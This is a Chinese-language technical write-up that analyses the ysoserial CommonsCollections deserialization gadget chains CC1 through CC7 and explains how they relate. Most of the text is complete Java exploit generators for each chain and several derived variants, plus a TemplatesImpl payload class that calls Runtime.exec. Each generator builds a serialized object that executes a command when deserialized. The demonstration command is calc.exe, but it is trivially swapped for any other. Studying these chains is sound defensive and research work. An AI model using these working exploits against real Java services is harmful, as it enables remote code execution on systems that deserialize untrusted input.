网上分析CommonsCollections调用链的文章也有不少,但是看完分析文章直接手动构造利用链仍有难度,因此这篇文章主要总结本人调试ysoserial的CommonsCollections系列利用链的思考和体会,通过这篇文章希望大家能够了解CommonsCollections不同链之间的共性和区别,能够在看完gadget后可以手动构造利用链,本文主要内容包括以下几点:
反序列化调用链如下所示:
AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Runtime.getRuntime() Runtime.exec()
对于cc1(以下cc即代表commonscollections)来说最外层的Annotationinvocationhandler相当于只是一个容器作用,将动态代理proxy放到其this.memberValues成员方法中去,其中invocationhandler又是一个Annotationinvocationhandler,然后在其readobject方法中就会调用this.memberValues.entryset,从而触发动态代理,从而进入动态代理的invoke函数代码块
因此invoke函数中调用this.memberValues.get即调用lazymap.get,从而到了this.factory.transform(),接下来内部是chainedTransformer+constantTransformer+3层invokeTransformer,因为get的参数是不存在的entryset,所以需要constantTransformer先返回一个Runtime类再通过3个invokeTransformer联合起来反射rce执行命令。
CommonsCollections1.java:
package CommonsCollections1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.*; import java.lang.Runtime; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Proxy; import java.lang.reflect.InvocationHandler; public class exp { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { final Transformer[] trans = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} ),//拿到Method getruntime方法 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,new Object[0]}),//拿到Runtime类实例 new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"})//调用exec执行命令 }; final Transformer chained = new ChainedTransformer(trans); //封装chained调用链 final Map innerMap = new HashMap(); final Map outMap = LazyMap.decorate(innerMap,chained); //封装lazymap final Constructor<?> han_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; han_con.setAccessible(true); InvocationHandler han = (InvocationHandler) han_con.newInstance(Override.class,outMap); //将lazymap放进membervalues,从而在membervalues.get变为laymap.get final Map mapProxy = (Map)Proxy.newProxyInstance(exp.class.getClassLoader(),outMap.getClass().getInterfaces(),han); //为lazymap设置动态代理,从而到达handler的invoke //将proxy代理放进外层的AnnotationInvocationHandler,从而membervalues.entryset触发动态代理 final Constructor<?> out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; out_con.setAccessible(true); InvocationHandler out =(InvocationHandler) out_con.newInstance(Override.class,mapProxy); FileOutputStream fo = new FileOutputStream(new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections1.ser")); ObjectOutputStream obj = new ObjectOutputStream(fo); obj.writeObject(out); obj.close(); } }
反序列化调用链如下所示:
PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingConparator() TransformingComparator.compare() InvokerTransformer.transform() TemplatesImpl.newTranformer() Method.invoke() Runtime.exec()
cc2的利用PriorityQueue队列键值反序列化后进行key值比较,可以自定义比较器comparator,因此利用commonscollections4里面的TransformingComparator,在该类的compare函数中又会调用this.transformer.transform来对key进行转换,因为key是从外面直接传进来的,即可控的,这里key其实是一个templatesimpl的实例。
在打fastjson1.2.24中就用到了jdk的templatesimpl这个内置类,在其_bytecodes字段中放入恶意类的字节码,将在调用其getTransletInstance中进行实例化,所以这里只需要一个invoketransformer即可,直接反射执行调用templatesImpl的newTransformer或者getoutputProperties来实例化templates的_bytecodes字段中的类进行rce
CommonsCollections2.java:
package CommonCollections2; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.util.Comparator; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class exp { public static void main(String[] args) throws ClassNotFoundException, NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException { //封装恶意的templatesImpl实例 TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass clazz = pool.get(payload.class.getName()); final byte[] clazzByte = clazz.toBytecode(); //_bytecode为private,需要在其中放入rce的payload类的字节码 Field _btcode = TemplatesImpl.class.getDeclaredField("_bytecodes"); _btcode.setAccessible(true); _btcode.set(tmp,new byte[][]{clazzByte}); //_name不为空即可 Field _name = TemplatesImpl.class.getDeclaredField("_name"); _name.setAccessible(true); _name.set(tmp,"tr1ple"); //_tfactory可为空,不设置也可以 Field _tf = TemplatesImpl.class.getDeclaredField("_tfactory"); _tf.setAccessible(true); _tf.set(tmp,null); //构造priorityqueue实例 PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]); //InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]); //调用该方法一样的效果 //依赖collections4 TransformingComparator com = new TransformingComparator(trans); //自定义comparator Field ComFi = PriorityQueue.class.getDeclaredField("comparator"); ComFi.setAccessible(true); ComFi.set(queue,com); Field qu = PriorityQueue.class.getDeclaredField("queue"); qu.setAccessible(true); Object[] objOutput = (Object[])qu.get(queue); objOutput[0] = tmp; //将templasImpl实例放入队列,从而进一步传入invokertransform的transform函数 objOutput[1] = 1; //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections2.ser"); OutputStream out = new FileOutputStream(file); ObjectOutputStream obj = new ObjectOutputStream(out); obj.writeObject(queue); obj.close(); } }
payload.java
package CommonCollections3; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class payload extends AbstractTranslet { //将命令写在static代码块或者构造函数中都可以 { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } public payload(){ System.out.println("tr1ple 2333"); } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
反序列化调用链如下所示:
AnnotationInvocationHandler.readObject() Proxy(LazyMap).extrySet() LazyMap.get() ChainedTransformer.transform() constantTransformer(TrAXFilter.class) InstantiateTransformer.transform() Constructor.newInstance() TemplatesImpl.newTransformer() (payload实例化)rce->calc.exe
cc3从外层和cc1一样都是从AnnotationInvocationHandler的readObject进入,不同点是内部引入了新的InstantiateTransformer类,该类的transformer有个特点即可以通过newInstance方法实例化入口的key
那么因为AnnotationInvocationHandler+lazymap.get不存在的key导致key不可控,因此只需要chainedTransformer第一个transfomer为constanttransformer即可,这里用到了类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,该类有个特点即如下图所示其构造函数中调用了templates.newTransformer()函数。
CommonsCollections3.java:
package CommonCollections3; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.functors.InstantiateTransformer; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; //@Dependencies({"commons-collections:commons-collections:3.1"}) public class exp { public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException { //构造TemplatesImpl实例 TemplatesImpl tmp = new TemplatesImpl(); //封装TemplatesImpl实例 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay = pool.get(payload.class.getName()); byte[] PayCode = pay.toBytecode(); Class clazz; clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field tf = clazz.getDeclaredField("_bytecodes"); tf.setAccessible(true); tf.set(tmp,new byte[][]{PayCode}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(tmp,"tr1ple"); HashMap InnerMap = new HashMap(); Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{tmp} //将TemplasImpl的实例放进参数值位置,从而调用newInstance实例化传入 ) }; //封装chained和lazymap ChainedTransformer chined = new ChainedTransformer(trans); Map outmap = LazyMap.decorate(InnerMap,chined); //接下来的构造与commonscollection1相同 final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; con.setAccessible(true); InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap); Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han); final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; out_con.setAccessible(true); InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser"); FileOutputStream fo = new FileOutputStream(file); ObjectOutputStream ObjOut = new ObjectOutputStream(fo); ObjOut.writeObject(out_han); } }
反序列化调用链如下所示:
PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingConparator() ChainedTransformer.transform() InstantiateTransformer.transform() (TrAXFilter)Constructor.newInstance() templatesImpl.newTranformer() Method.invoke() Runtime.exec()
因为cc3引入了InstantiateTransformer类来对cc1做了个变形,那么同理,该类对于cc2也能做同样的变型来形成一条新的链,所以cc4相对于cc2来说并没有将templatesImpl类的实例直接放入队列,而是和cc3一样,利用chained转换链+一个constantTranformer返回TrAXFilter类
从而第二次transform的时候即调用该类的newInstance实例化,而实例化的参数因为也是可控的,因此在参数位置放入templateImpl实例
CommonsCollections4.java
package CommonsCollections4; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.*; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.ComparableComparator; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import javax.xml.transform.Templates; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; public class exp { public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException { //封装templasImpl实例 TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay_class = pool.get(payload.class.getName()); byte[] payCode = pay_class.toBytecode(); Class clazz; clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); //存储payload字节码 Field byteCode = clazz.getDeclaredField("_bytecodes"); byteCode.setAccessible(true); byteCode.set(tmp,new byte[][]{payCode}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(tmp,"tr1ple"); Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{tmp}) //将TemplatesImpl实例放进参数值位置,与cc3原理一样,便于在构造函数中触发newTransformer }; //封装chained转换链 ChainedTransformer chian = new ChainedTransformer(trans); TransformingComparator transCom = new TransformingComparator(chian); //封装外层的队列 PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1); Field com = PriorityQueue.class.getDeclaredField("comparator"); com.setAccessible(true); com.set(queue,transCom); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections4.ser"); ObjectOutputStream obj_out = new ObjectOutputStream(new FileOutputStream(file)); obj_out.writeObject(queue); } }
反序列化调用链如下所示:
BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Runtime.exec()
cc5这条链相对于前四条来说外部的入口点变了,但是内部还是没变,依然是通过lazymap.get,那么后面就可以跟cc1的调用一样,直接通过1层constantTransformer和3层invokerTransformer结合来rce,那么相当于外面的衣服换了,里面的衣服没换
Commonscollections5衍生1
:想想cc3的构造,对于cc1而言,和cc5相比正好相反,所以将cc3的链接点放到cc5,从而就可以衍生出第一条新的利用链
Commonscollections5衍生2
:因为TiedMapEntry键对应的值是可控的,因此第一次传入this.factory.transform的key也是可控的,因此根据cc2的特点,直接在外部放入templatesImpl类的实例,然后结合invokeTransformer调用该类的newTransformer或者getoutputProperties又衍生出第二条新的利用链
CommonsCollections5.java(原版exp):
package CommonsCollections5; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class exp { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { //构造内部的constant+invoke转换链 Transformer[] trans = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; //封装chained转换链 ChainedTransformer chian = new ChainedTransformer(trans); //封装lazymap HashMap map = new HashMap(); Map innerMap = LazyMap.decorate(map,chian); //构造外部的触发链触发varobj.tostring到达lazymap.get TiedMapEntry entry = new TiedMapEntry(innerMap, "tr1ple"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valField = val.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(val,entry); //将TiedMapEntry实例放进val属性,从而在反序列化还原后最终调用this.map.get //序列化 File file; file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser"); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file)); obj.writeObject(val); } }
package CommonsCollections5; import CommonsCollections4.payload; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class exp1 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException { //封装TemplatesImpl实例 TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay_class = pool.get(payload.class.getName()); byte[] payCode = pay_class.toBytecode(); Class clazz; clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); //存储payload类 Field byteCode = clazz.getDeclaredField("_bytecodes"); byteCode.setAccessible(true); byteCode.set(tmp,new byte[][]{payCode}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(tmp,"tr1ple"); //构造内部的转换链,与原版cc5不同的是此时constanTransformer返回不再是Runtime.class Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{tmp} ) }; //封装chained转换链 ChainedTransformer chian = new ChainedTransformer(trans); HashMap map = new HashMap(); Map innerMap = LazyMap.decorate(map,chian); //构造外部的触发点 TiedMapEntry entry = new TiedMapEntry(innerMap, "tr1ple"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valField = val.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(val,entry); //序列化 File file; file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5.ser"); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file)); obj.writeObject(val); } }
package CommonsCollections5; import CommonsCollections4.payload; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.functors.InvokerTransformer; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class exp2 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, CannotCompileException, NotFoundException { //封装Templates实例 TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay_class = pool.get(payload.class.getName()); byte[] payCode = pay_class.toBytecode(); Class clazz; clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); //存储payload字节码 Field byteCode = clazz.getDeclaredField("_bytecodes"); byteCode.setAccessible(true); byteCode.set(tmp,new byte[][]{payCode}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(tmp,"tr1ple"); //只需要一次invoke反射调用即可 InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]); HashMap map = new HashMap(); Map innerMap = LazyMap.decorate(map,trans); //构造外部的触发链,将构造的TemplateImpl实例放入 TiedMapEntry entry = new TiedMapEntry(innerMap, tmp); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valField = val.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(val,entry); //序列化 File file; file =new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections5-2.ser"); ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream(file)); obj.writeObject(val); } }
反序列化调用链如下所示:
java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform() Runtime.exec()
cc6外部也是采用了新的hashset来触发其readObject(),而hashset对象的插入是根据它的hashcode,并且hashset内用HashMap对它的内部对象进行排序,那么反序列化后恢复元素的过程中,将再次计算key的hashcode,而TiedMapEntry有趣的一点是它的hashCode函数中将调用该类的getvalue函数,而我们在分析完cc5之后知道getvalue函数中将调用this.map.get(this.key),所以此时后半部调用链和cc5又是一模一样了,接着就是lazymap.get干的事,cc6中用的是也是一层contantTransform+3层invokeTranform。
Commonscollections6衍生1:
因为这里key值也是可控的,因此cc6同时也可以进行换装了,即根据cc3的特点结合一层ConstantTransformer+一层invokertransformer,利用链的上半部分不变,只变下半部分的chained即可生成第一条衍生版的cc6
Commonscollections6衍生2:
第二种显然与cc5的衍生也是一样的,因为最终进入第一层transformer的key可控,因此根据cc2的特点结合一层invokeTransformer反射即可形成cc6的第二条衍生链
CommonsCollections6.java(原版exp):
package CommonsCollections6; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.lang.Class; import java.lang.Runtime; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class exp { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException { //构造内部转换链 Transformer[] trans = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"} ) }; ChainedTransformer chain = new ChainedTransformer(trans); HashMap innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple2333"); innerMap.clear(); //构造外部入口链 HashSet newSet = new HashSet(1); newSet.add("tr1ple"); Field innerSetMap = HashSet.class.getDeclaredField("map"); innerSetMap.setAccessible(true); //修改hashset内部的hashmap存储 HashMap setMap = (HashMap)innerSetMap.get(newSet); Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); //拿到存储的数据 Object[] obj = (Object[])table.get(setMap); Object node = obj[0]; System.out.println(node.getClass().getName()); Method[] methods = node.getClass().getMethods(); for(int i=0;i<methods.length;i++){ System.out.println(methods[i].getName()); } //拿到此时存到hashset中的node节点,key为要修改的点,这里需要修改它为真正的payload,即Tiedmapentry System.out.println(node.toString()); Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node,entry); //hashset的hashmap中的node节点修改完值以后放进hashset Field finalMap = newSet.getClass().getDeclaredField("map"); finalMap.setAccessible(true); finalMap.set(newSet,setMap); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser"); ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file)); objOut.writeObject(newSet); } }
package CommonsCollections6; import CommonsCollections4.payload; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import java.lang.reflect.Method; import java.lang.Class; import java.lang.Runtime; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class exp1 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException, NotFoundException, CannotCompileException { //封装templatesImpl实例 TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay_class = pool.get(payload.class.getName()); byte[] payCode = pay_class.toBytecode(); Class clazz; clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); //存储payload字节码 Field byteCode = clazz.getDeclaredField("_bytecodes"); byteCode.setAccessible(true); byteCode.set(tmp,new byte[][]{payCode}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(tmp,"tr1ple"); //构造内部转换链 Transformer[] trans = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{tmp} ) }; //封装chained转换链 ChainedTransformer chain = new ChainedTransformer(trans); HashMap innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple2333"); //innerMap.clear(); //构造外部入口链 HashSet newSet = new HashSet(1); newSet.add("tr1ple"); //反射替换hashset内部的node元素 Field innerSetMap = HashSet.class.getDeclaredField("map"); innerSetMap.setAccessible(true); //修改hashset内部的hashmap存储 HashMap setMap = (HashMap)innerSetMap.get(newSet); Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); //拿到node节点存储的数据 Object[] obj = (Object[])table.get(setMap); Object node = obj[0]; System.out.println(node.getClass().getName()); //Method[] methods = node.getClass().getMethods(); //拿到此时存到hashset中的node节点,key为要修改的点,这里需要修改它为真正的payload,即Tiedmapentry System.out.println(node.toString()); Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node,entry); //hashset的hashmap中的node节点修改完值以后放进hashset Field finalMap = newSet.getClass().getDeclaredField("map"); finalMap.setAccessible(true); finalMap.set(newSet,setMap); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser"); ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file)); objOut.writeObject(newSet); } }
package CommonsCollections6; import CommonsCollections4.payload; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Method; import java.lang.Class; import java.lang.Runtime; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; public class exp2 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException, CannotCompileException, NotFoundException { //封装TemplateImpl类 TemplatesImpl tmp = new TemplatesImpl(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(payload.class)); CtClass pay_class = pool.get(payload.class.getName()); byte[] payCode = pay_class.toBytecode(); Class clazz; clazz =Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); //存储payload字节码 Field byteCode = clazz.getDeclaredField("_bytecodes"); byteCode.setAccessible(true); byteCode.set(tmp,new byte[][]{payCode}); Field name = clazz.getDeclaredField("_name"); name.setAccessible(true); name.set(tmp,"tr1ple"); //封装一层Transformer InvokerTransformer trans = new InvokerTransformer("newTransformer",new Class[0],new Object[0]); ////InvokerTransformer trans = new InvokerTransformer("getOutputProperties",new Class[0],new Object[0]); //将templatesImpl实例放进TiedmapEntry外层作为key HashMap innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, trans); TiedMapEntry entry = new TiedMapEntry(lazyMap, tmp); innerMap.clear(); //构造外部入口点 HashSet newSet = new HashSet(1); newSet.add("tr1ple"); Field innerSetMap = HashSet.class.getDeclaredField("map"); innerSetMap.setAccessible(true); //修改hashset内部的hashmap存储 HashMap setMap = (HashMap)innerSetMap.get(newSet); Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); //拿到存储的数据 Object[] obj = (Object[])table.get(setMap); Object node = obj[0]; System.out.println(node.getClass().getName()); //拿到此时存到hashset中的node节点,key为要修改的点,这里需要修改它为真正的payload,即Tiedmapentry System.out.println(node.toString()); Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node,entry); //hashset的hashmap中的node节点修改完值以后放进hashset Field finalMap = newSet.getClass().getDeclaredField("map"); finalMap.setAccessible(true); finalMap.set(newSet,setMap); //序列化 File file; file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6-2.ser"); ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file)); objOut.writeObject(newSet); } }
反序列化调用链如下所示:
Hashtable.readObject Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get ChainedTransformer.transform InvokerTransformer.transform Runtime.exec
cc7的入口点加入了hashtable类,构造感觉也比较有意思,将两个hashcode值相同的lazymap放进同一个hashtable中,再反序列化恢复lazymap再次装进hashtable中时,因为两个lazpmap算出来hash值相同
所以要进一步从第二个lazymap中取出第一个lazymap的key判断是否元素也是一样,所以取key当然又要走到lazymap.get,那么利用hash相同的特性在反序列化利用链jdk7u21中也用到了,绕过e.hash == hash来进一步触发动态代理,利用链的构造也非常精巧,因此理解函数内部的工作过程对于知识的融汇贯通也非常重要
Commonscollections7衍生1
:根据TrAXFilter类的特点结合一层constantTransformer和一层invokeTransformer即可实例化payload类中的字节码
